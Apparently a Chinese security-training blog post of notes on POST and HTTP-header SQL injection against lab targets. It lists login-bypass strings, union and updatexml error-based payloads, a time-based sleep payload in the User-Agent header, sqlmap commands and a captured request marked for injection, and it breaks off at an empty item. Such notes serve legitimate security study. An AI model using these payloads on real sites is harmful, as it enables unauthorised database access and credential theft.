网络安全-post注入、head注入、
免责声明:本博客内所有工具/链接
请勿用于未授权的违法攻击!!
用户滥用造成的一切后果自负!!
使用者请务必遵守当地法律!!
1、POST注入属于注入的一种,POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别,POST注入高危点: 登录框 查询框 等各种和数据库有交互的框
2、万能密码:'or 1=1#
3、Sqlmap如何对POST类型SQL注入进行注入:python sqlmap.py -u http://pu2lh35s.ia.aqlab.cn --form
4、User_agent(UA):Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.9 Mobile Safari/537.36
5、get注入和post注入的区别:GET 和 POST传参的区别:数据本身(编码问题 URL编码) %xx URL编码
' or 1=1 order by 1 -- qwe
' or 1=1 union select 1,2,3 limit 1,1 -- qwe
select *from user where username = or 1=1 order by 1
select *from user where username ='' or 1=1 order by 1
select *from user where username ='' and 1=2
union
select 1,2,3 limit 1,1 -- qwe
") and 1=2 union select 1,2,3 -- qwe
6、使用sqlmap进行post注入:python sqlmap.py -u http://pu2lh35s.ia.aqlab.cn/ -r 指定数据包
数据包内容如下:
POST /Pass-09/index.php HTTP/1.1
Host: inject2b.lab.aqlab.cn
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://inject2b.lab.aqlab.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://inject2b.lab.aqlab.cn/Pass-09/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 1*
Connection: close
username=admin&password=123456&submit=%E7%99%BB%E5%BD%95
7、闭合 ' " ') ")
8、HEAD注入 => head传参
9、select updatexml(目标xml内容,xml文档路径,更新的内容),路径不能出现特殊字符 ~ !#,
10、拼接字符串注入:select updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),报错的结果一定是个字符串
11、常见的用户名:admin、user、root、test、a、ceshi、jishu、system
12、源码构造:INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')
UA传参:Request Headers:User-Agent,Value:' or sleep(10),1) -- qwe
语句解析传参:INSERT INTO uagent (`uagent`,`username`) VALUES ('' or updatexml(1,concat('!',database()),1),1) -- qwe
请求头:X-FORWORDED-FOR,值:127.0.0.1
13、